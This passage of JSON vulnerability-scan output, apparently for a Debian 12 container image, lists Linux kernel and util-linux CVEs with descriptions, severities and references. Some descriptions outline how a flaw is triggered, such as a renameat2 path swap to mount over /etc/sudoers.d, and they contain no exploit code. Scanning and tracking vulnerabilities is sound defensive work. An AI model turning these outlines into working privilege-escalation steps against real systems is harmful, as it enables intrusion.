"https://www.cve.org/CVERecord?id=CVE-2026-99153" ], "PublishedDate": "2026-10-28T11:17:35.443Z", "LastModifiedDate": "2026-10-31T13:17:57.617Z" }, { "VulnerabilityID": "CVE-2026-99167", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99167", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d72b41e6f83243ebdfd80cae8621b106d5c8ff87d22e3f4fd1062c9bffbcfe36", "Title": "kernel: net/sched: fix use-after-free in __tcf_action_put()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: fix use-after-free in __tcf_action_put()\n\n__tcf_action_put() decrements the reference count before decrementing the\nbinding count. Another thread can free the action between these operations,\ncausing the binding-count update to access freed memory. KASAN reports it\nas:\n\n BUG: KASAN: slab-use-after-free in __tcf_action_put+0x327/0x340\n Write of size 4 at addr ff11000000d46420 by task tc-put-pause/64\n\nHold the action IDR mutex across both counter updates and IDR removal,\nkeeping cleanup outside the lock.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99167", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99167.mbox", "https://git.kernel.org/stable/c/2465d27ef90de9105c2bffb6c35f8ce08918e642", "https://git.kernel.org/stable/c/2e012e431aa271ef3c84206f48854f539c03bff0", "https://git.kernel.org/stable/c/4d83a3fc03bc595dd39b79ad61288738fbb1f2ba", "https://git.kernel.org/stable/c/7b16eb911091aae237a8673da94e4dfb9cd21d54", "https://git.kernel.org/stable/c/969ad6f2b266f383b44194d50d15631969b26222", "https://git.kernel.org/stable/c/fcc7d734ceccfab8ec3398c5b34f8e775d459507", "https://git.kernel.org/stable/c/fd01abed2568209f7daaf60e5ee68ae4a4744f48", "https://git.kernel.org/stable/c/fde33eb9955d819af282d5f5e84684eaec248291", "https://nvd.nist.gov/vuln/detail/CVE-2026-99167", "https://www.cve.org/CVERecord?id=CVE-2026-99167" ], "PublishedDate": "2026-10-28T11:17:37.173Z", "LastModifiedDate": "2026-10-31T13:17:58.417Z" }, { "VulnerabilityID": "CVE-2026-99233", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99233", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a345bfa91f93ec7c1212a7f362470e7d003a991b3577fca471cff5512c4f9dfa", "Title": "kernel: kernel: Privilege escalation via use-after-free in tracing subsystem", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing/histograms: Verify event_call identity when updating synth_event refcount\n\nIn event_hist_trigger_parse() and hist_unreg_all(), the histogram\nregistration and unregistration paths look up find_synth_event() using\ntrace_event_name(file-\u003eevent_call) and adjust se-\u003eref if a match is\nfound.\n\nBecause find_synth_event() only compares the event basename, registering\nor removing a histogram on a non-synthetic trace event whose basename\nmatches a synthetic event erroneously modifies the synthetic event's\nreference count. If a histogram is registered on the non-synthetic\nevent before the synthetic event is created and removed afterwards,\nse-\u003eref is decremented without a matching increment, allowing the\nsynthetic event to be freed while an active histogram action still holds\na pointer to it.\n\nIntroduce find_synth_event_call() to verify that \u0026se-\u003ecall matches\nfile-\u003eevent_call before adjusting se-\u003eref.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99233", "https://git.kernel.org/stable/c/06e816bed499fe47f39f12044382cc5d064485fb", "https://git.kernel.org/stable/c/23b4106e8b35823acc79e206c7745f55b9cfd78b", "https://git.kernel.org/stable/c/3403d9bb27ebc3572bd048620746b4414e073bf9", "https://git.kernel.org/stable/c/381f543ed35c434d5b707369aa5dcd69ecf440af", "https://git.kernel.org/stable/c/4472579bd1c83708b6fe623c870cdf728e947205", "https://git.kernel.org/stable/c/5597bb8db6855fcb97a67196d227fea359bcd81c", "https://git.kernel.org/stable/c/cf4e31d5da80fae4c9cdbe7af55b7c3ad213f0e4", "https://nvd.nist.gov/vuln/detail/CVE-2026-99233", "https://www.cve.org/CVERecord?id=CVE-2026-99233" ], "PublishedDate": "2026-11-02T16:17:48.39Z", "LastModifiedDate": "2026-11-03T20:18:29.27Z" }, { "VulnerabilityID": "CVE-2026-99235", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99235", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:22bea0d7934996ec5afe919949989ed346a9d656d0cedc57e2829bf267329274", "Title": "kernel: kernel: Privilege escalation via use-after-free in event tracing subsystem", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Save the event file instead of the compatible histogram\n\ncreate_field_var_hist() creates a histogram on the matched event to\nsupply a field variable, and records it on the target so it can be torn\ndown later:\n\n\thist_data = find_compatible_hist(target_hist_data, file);\n\t...\n\t/* Save the compatible histogram information */\n\tvar_hist-\u003ehist_data = hist_data;\n\nhist_data is not the histogram it creates. It is one that was already\nthere, whose keys the new one copies. The saved pointer has a single\nuser, unregister_field_var_hists(), which runs when the target is\nremoved:\n\n\tfile = hist_data-\u003efield_var_hists[i]-\u003ehist_data-\u003eevent_file;\n\nfind_compatible_hist() matches on keys alone, so it can pick one with no\nvariables of its own. check_var_refs() then returns false and the user\ncan remove it while the target still points at it:\n\n BUG: KASAN: slab-use-after-free in event_hist_trigger_free+0x2b2/0x320\n Read of size 8 at addr ffff8880093b90e0 by task init/1\n\n Freed by task 1:\n kfree+0x154/0x420\n event_hist_trigger_free+0x1d5/0x320\n event_hist_trigger_parse+0x35f3/0x69e0\n trigger_process_regex+0x1a6/0x250\n\nSave the event file instead. It is all the dereference ever wanted, and\nit does not go away when the user removes a trigger.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99235", "https://git.kernel.org/stable/c/173914501b97236d7ea7dc2af7f30feddd4e1436", "https://git.kernel.org/stable/c/3609ada3c12cecfb0ae5ee82ef4f86c5f18a2dea", "https://git.kernel.org/stable/c/7a111ba0d1b74c99bc8f096565dc71945f694254", "https://git.kernel.org/stable/c/7cafc82e6153f05a221be678cd649d02e06ba909", "https://git.kernel.org/stable/c/8b307d64a60548e4a74cb746f74d7ed4bd49965e", "https://git.kernel.org/stable/c/9631dbccd3c649b567a5aafffea6b00634183997", "https://git.kernel.org/stable/c/a6165126b1a1b26342b55be6eb6ee23af8756aba", "https://git.kernel.org/stable/c/ac815a379644b2ad5008a009a3516ada31b5dd82", "https://git.kernel.org/stable/c/d5c42664fc094899af9aae5300b27fe8fdb658ef", "https://nvd.nist.gov/vuln/detail/CVE-2026-99235", "https://www.cve.org/CVERecord?id=CVE-2026-99235" ], "PublishedDate": "2026-11-02T16:17:48.79Z", "LastModifiedDate": "2026-11-03T20:18:29.627Z" }, { "VulnerabilityID": "CVE-2026-99236", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99236", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f6f0b8a173f08bed0a6dc16327ad8017c35351ac898fcd7ebc712a0e3604fa8b", "Title": "kernel: kernel: privilege escalation via incomplete event filter expressions", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Reject incomplete event filter expressions\n\nA non-empty expression normally finishes in predicate_parse()'s inner\nloop, which resolves the pending logical operators before jumping to\nfinalization. If the input ends after an operator, possibly followed by\nunary '!' tokens, the outer loop instead falls through with unresolved\noperator state.\n\nFor example, \"common_pid == 1 || common_pid == 2 \u0026\u0026\" leaves\nprog[0].target equal to -1. The second pass then reads prog[-1] before\nthe forward-jump check can reject it. Depending on adjacent slab\ncontents, it can also copy an out-of-bounds word into a branch target\nthat passes the forward-only check. A self-targeted perf tracepoint\ncounting event can reach this path through PERF_EVENT_IOC_SET_FILTER.\n\nReject the outer-loop fallthrough when a predicate has already been\nparsed. This ensures that non-empty expressions only reach finalization\nafter the inner loop has resolved their operators. Keep the existing\nno-filter error for input that has no predicates. Add a regression test\nfor trailing logical operators and unary negations.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99236", "https://git.kernel.org/stable/c/1008e9e0b8280d47f1ab5e9c113f666a023a9697", "https://git.kernel.org/stable/c/15ff3cc7f2beecc3f95d66358f20ad7b057466aa", "https://git.kernel.org/stable/c/1fdc4164e488916402badddbb1f51e9380dabb91", "https://git.kernel.org/stable/c/2a98f5d4913ec081e08e1075512cb7ec313d9f72", "https://git.kernel.org/stable/c/4a1a6d35359991c5d47f4bf101cfbe1475c94093", "https://git.kernel.org/stable/c/5a999b5a16530898f0dbe5f8c50fd45ea72e110b", "https://git.kernel.org/stable/c/5bcdf3c18c3471122ee9652b0e2f5cdb718d9a46", "https://git.kernel.org/stable/c/64993d970dde2a2da353e9e99595a4fa88ec27d9", "https://git.kernel.org/stable/c/b205ff58e02922ac324f931cf9eb238a3acdb048", "https://nvd.nist.gov/vuln/detail/CVE-2026-99236", "https://www.cve.org/CVERecord?id=CVE-2026-99236" ], "PublishedDate": "2026-11-02T16:17:49.003Z", "LastModifiedDate": "2026-11-03T20:18:29.827Z" }, { "VulnerabilityID": "CVE-2026-99239", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99239", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:83c788c04e0209cf71671f4039c1c289c53793ebc42d07e67ab99ae0f9422cf6", "Title": "kernel: kernel: Privilege escalation via race condition in Bluetooth L2CAP", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: L2CAP: refuse __l2cap_chan_add if chan already has conn\n\nl2cap_chan may be linked to l2cap_conn at most once. This is assumed in\nseveral places, eg l2cap_chan_del cleanup.\n\nThere is a TOCTOU race where the invariant is violated:\n\n [Task 1] [Task 2]\n l2cap_chan_connect l2cap_sock_bind\n l2cap_chan_lock lock_sock\n l2cap_state_change if (sk-\u003esk_state != BT_OPEN)\n chan-\u003estate = BT_CONNECT\n l2cap_sock_state_change_cb chan-\u003estate = BT_BOUND\n sk-\u003esk_state = BT_BOUND\n lock_sock \u003c------------------ release_sock\n sk-\u003esk_state = BT_CONNECT\n\nl2cap_sock_connect() does not check sk-\u003esk_state, so since chan-\u003estate\nis now BT_BOUND, subsequent connect() ends up with second\n__l2cap_chan_add.\n\nExplicitly document and check the invariant in __l2cap_chan_add with\nWARN_ON_ONCE. The only callsite where it could be hit is\nl2cap_chan_connect, so add pre-check there to avoid relying on\nchan-\u003estate. chan-\u003estate read/write is not properly guarded currently so\nthere can be other TOCTOUC problems.\n\nAdd l2cap_lock_chan in l2cap_sock_bind() to guard chan-\u003estate write.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99239", "https://git.kernel.org/stable/c/10c705dd706aa93164ba41f2566f15206d6c178e", "https://git.kernel.org/stable/c/52fe88e4ef87311eee32b45c65603e7c69e75e7d", "https://git.kernel.org/stable/c/73820561d8cbfd3364a29b8fa77f1707f26029da", "https://git.kernel.org/stable/c/820579652b24ce277e0097cd65b42bd9b7b8bf07", "https://git.kernel.org/stable/c/85cc289eb08afa975375f838187369e68b429ee0", "https://git.kernel.org/stable/c/86b55991d3cd690e73c5ef8d20b75ae4905b357a", "https://git.kernel.org/stable/c/d3afd7803f9bc2a8c4270199497b60158b2fc647", "https://git.kernel.org/stable/c/e618d928ec7f88cbeadfa3542adcac40f474e629", "https://git.kernel.org/stable/c/fabaff1c59ff2cc89cb7e5bd0186a5e15f0c73b2", "https://nvd.nist.gov/vuln/detail/CVE-2026-99239", "https://www.cve.org/CVERecord?id=CVE-2026-99239" ], "PublishedDate": "2026-11-02T16:17:49.54Z", "LastModifiedDate": "2026-11-03T20:18:30.28Z" }, { "VulnerabilityID": "CVE-2026-99246", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99246", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b8a5ad3c0573495cf0e30c2817c728b646137cd5c5e459d574413fb8271d4908", "Title": "kernel: kernel: Arbitrary code execution via use-after-free in TIPC subsystem", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: protect node reset trace dump with node lock\n\nThe tipc_node_reset_links trace event asks tipc_node_dump() to walk the\nnode's link entries. Unlike the other node events that request link data,\nthis event runs without the node lock.\n\nThis permits bearer teardown to free a link while the trace callback is\ndumping it:\n\n CPU 0 CPU 1\n trace_tipc_node_reset_links()\n tipc_node_dump()\n l = n-\u003elinks[0].link\n tipc_node_write_lock()\n kfree(l)\n n-\u003elinks[0].link = NULL\n tipc_node_write_unlock()\n tipc_link_dump(l)\n\ntipc_link_dump() then dereferences the stale pointer. KASAN reported:\n\n BUG: KASAN: slab-use-after-free in tipc_link_dump\n Read of size 4 by task poc/115\n Call Trace:\n tipc_link_dump+0x10cb/0x16b0\n tipc_node_dump+0x4bb/0x740\n trace_event_raw_event_tipc_node_class+0x258/0x360\n tipc_node_reset_links+0x14d/0x1a0\n tipc_rcv+0x13f5/0x3030\n tipc_udp_recv+0x4e3/0x670\n Allocated by task 0:\n tipc_link_create+0x1e1/0x1020\n tipc_node_check_dest+0x7d2/0x11a0\n tipc_disc_rcv+0xdbf/0x1430\n Freed by task 89:\n kfree+0x131/0x3c0\n tipc_node_link_down+0x267/0x4b0\n tipc_node_delete_links+0xec/0x160\n bearer_disable+0x107/0x260\n\nTake the node write lock around the trace event. This serializes the\ndump against tipc_node_link_down(delete=true), which frees the link\nunder the same write lock.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-99246", "https://git.kernel.org/stable/c/6abd93d01b0f495f29201925a5ee8e6a583c4044", "https://git.kernel.org/stable/c/6e492cb98ca69cc1145175e23e22e3b84da7f26d", "https://git.kernel.org/stable/c/7bb6a35bd6d69019539d8782fb590fd2aa8a3236", "https://git.kernel.org/stable/c/a6101d62ccfa153db8c218ce59362b8e0316fd4f", "https://git.kernel.org/stable/c/b8b7d28dc2b7472ffd1eff3954c38f1976b21a7b", "https://git.kernel.org/stable/c/c8b72ca0918e95f708f67c8b3e69b05290f2b6d2", "https://git.kernel.org/stable/c/dddf197f29ba5e47a476dde82bf542ca2e0d5e5e", "https://git.kernel.org/stable/c/fa8c78c0e49aa11fae116fd841e41aa8f2d68751", "https://nvd.nist.gov/vuln/detail/CVE-2026-99246", "https://www.cve.org/CVERecord?id=CVE-2026-99246" ], "PublishedDate": "2026-11-03T12:17:31.03Z", "LastModifiedDate": "2026-11-03T20:18:31.013Z" }, { "VulnerabilityID": "CVE-2026-99999", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99999", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:891442bf94562512d48655348c433cdf021ece4208304e2c012c8067a0270127", "Title": "kernel: ipv4: validate checksum_start before completing checksum", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: validate checksum_start before completing checksum\n\nIf a packet with bad checksum metadata gets into the ipv4 stack,\nskb_checksum_help can corrupt the network header and cause a bunch of\nmischief.\n\nThis was discovered and reported by Paulos, and has been reporoduced\nby others independently since.\n\nWe really shouldn't allow such packets in, but as a defence\nin depth measure, let's also check before we complete the checksum.\n\nA more complete validation at input is forthcoming, but needs more work.", "Severity": "HIGH", "CweIDs": [ "CWE-20" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/15/5", "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-99999", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/6785011f8b16abf40b1e9d8b2e332232b3e68822%20%286.3-rc7%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99999.mbox", "https://git.kernel.org/stable/c/0fab003ef4698e0628060a45a48f14b43ba2a40a", "https://git.kernel.org/stable/c/32a8b0adaa18e52aaa0b246b5ffe683075354dbb", "https://git.kernel.org/stable/c/6785011f8b16abf40b1e9d8b2e332232b3e68822", "https://git.kernel.org/stable/c/94524b7b32691de2e2ce162c04d6cbc9106e5cbf", "https://git.kernel.org/stable/c/a464d950f31c89565cbaae038cc60db04fe01956", "https://git.kernel.org/stable/c/a65f69e0f38ffbed1b128029e09097436416dc8b", "https://git.kernel.org/stable/c/c3e33464746166264334641dc850a36eef7e6326", "https://git.kernel.org/stable/c/f3e835af6226f1dd12160cbd696081e9b6155de0", "https://linux.oracle.com/cve/CVE-2026-99999.html", "https://linux.oracle.com/errata/ELSA-2026-89083.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-99999", "https://pwn.ai/blog/pwnescape", "https://vercel.com/blog/findings-from-the-1-million-dollar-vercel-sandbox-challenge", "https://www.cve.org/CVERecord?id=CVE-2026-99999" ], "PublishedDate": "2026-10-15T13:17:14.137Z", "LastModifiedDate": "2026-10-19T22:17:28.667Z" }, { "VulnerabilityID": "CVE-2026-53613", "PkgID": "mount@2.38.1-5+deb12u3", "PkgName": "mount", "PkgIdentifier": { "PURL": "pkg:deb/debian/mount@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "db6b596e9b2c0272" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6a1324f00470a4042f9f8777eddb116edf7b1b3e79c004053d2e14ded53b97f1", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", 